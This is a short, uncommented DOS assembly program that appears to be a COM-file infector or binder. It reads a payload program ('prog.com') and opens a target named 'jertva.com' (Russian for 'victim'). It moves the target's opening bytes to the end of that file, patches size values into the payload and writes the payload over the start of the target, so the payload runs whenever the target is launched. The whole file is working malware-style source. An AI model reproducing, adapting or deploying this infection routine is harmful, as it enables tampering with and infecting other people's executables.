.model small
.code
.286
jumps
org 100h


start:	mov	ax, 3d02h
	mov	dx, offset _pname
	int 	21h
	
	mov	bx, ax
	mov 	ah, 3fh
	mov 	cx, 10000
	mov 	dx, offset buffer1
	int 	21h
	mov 	_jsize, ax
	mov 	ah, 3eh
	Int 	21h

	mov	ax, 3d02h
	mov	dx, offset _jname
	int 	21h

	mov	bx, ax
	mov 	ah, 3fh
	mov 	cx, _jsize
	mov 	dx, offset buffer2
	int 	21h

	mov ax,4202h
	mov cx,0
	mov dx,0
	Int 21h
	mov	_psize, ax

	mov	ax, _jsize
	mov	word ptr [buffer1 + 2], ax
	mov	ax, _psize
	mov	word ptr [buffer1 + 4], ax

	mov 	ah, 40h
	mov 	cx, _jsize
	mov 	dx, offset buffer2
	int 	21h

	mov ax,4200h
	mov cx,0
	mov dx,0
	Int 21h

	mov 	ah, 40h
	mov 	cx, _jsize
	mov 	dx, offset buffer1
	int 	21h

	mov 	ah, 3eh
	Int 	21h

	mov 	ax, 4ch
	int 	21h	
	
_jname 	db	'jertva.com',	0	
_pname	db	'prog.com',	0	
buffer1 db 	10000 dup (?)
buffer2 db 	10000 dup (?)
_psize	dw	?
_jsize	dw	?

end start